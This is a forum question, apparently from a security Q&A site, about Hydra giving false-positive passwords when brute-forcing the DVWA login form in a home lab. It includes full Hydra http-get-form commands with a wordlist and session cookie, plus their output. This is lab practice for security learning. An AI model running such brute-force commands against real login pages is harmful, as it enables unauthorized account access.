1

I have an issue with Hydra when I use it. I have tried the same command lines given in guides directly supported by the Damn Vulnerable Web Application (DVWA) v1.8.

Ok so.. here is my attempt output...

root@kali:~# hydra 192.168.1.2 -l admin -P /wordlists/500-worst-passwords.txt
http-get-form "/DVWA-1.0.8/vulnerabilities/brute/index.php:username=^USER^&
password=^PASS^&submit=Login:Username and/or password incorrect." -f

Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-09-06 05:18:12
[DATA] 16 tasks, 1 server, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 192.168.1.2   login: admin   password: shadow
[STATUS] attack finished for 192.168.1.2 (valid pair found)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-09-06 05:18:12

Yes, its true that the HTML form method is GET. :O)

Ok so, regardless how many times I run the command I get different answers.. like..

Attempt 1

[80][www-form] host: 192.168.1.2   login: admin   password: 101193
[80][www-form] host: 192.168.1.2   login: admin   password: horse

Attempt 2

[80][www-form] host: 192.168.1.2   login: admin   password: carhorn
[80][www-form] host: 192.168.1.2   login: admin   password: shadowfox
[80][www-form] host: 192.168.1.2   login: admin   password: multible

UPDATE!!!!

hydra 192.168.1.2 -l admin -P /wordlists/500-worst-passwords.txt http-get-form 
"/DVWA-1.0.8/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&
submit=Login:Username and/or password incorrect.:H=Cookie: security=high;
PHPSESSID=jtujthkeh08foqfomph232rp77"

I tried to add the cookie phpsession id aswell. I also tried to put in the:

-t <tasks>

So far I have no success.

Improve this question
  • I may add that, the password file that use do contain the correct password. I think its about line 20 or so its found in the file. – Daniel Sep 6 '13 at 9:36
  • 3
    hydra scans for "Username and/or password incorrect" to detect failed attempts in the answer. if this is not found, for whatever reasons, if thinx that login is OK. – that guy from over there Sep 6 '13 at 9:45
  • Thanks for your comment, but the output text is correct in my case :-). The output text the application makes is "Username and/or password incorrect." – Daniel Sep 6 '13 at 9:48
  • 1
    the output-text is correct, thats not what i wanted to say. what i wanted to say is: what happens if the response is empty? or your server is overloaded and doesnt respond / respond with 403? i see the issue here with hydra, not beeing able to detect false positives. maybe you limit the concurrent-number of tests until you get valid results – that guy from over there Sep 6 '13 at 10:59
  • 1
    I cant get it to work properly. Its still the same. I tried adding the session, fixing the amounts og tasks. I even double checked on the error message that the form will give. Everything so far is 100% ok. So what did i miss out on? :) – Daniel Sep 6 '13 at 19:09

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.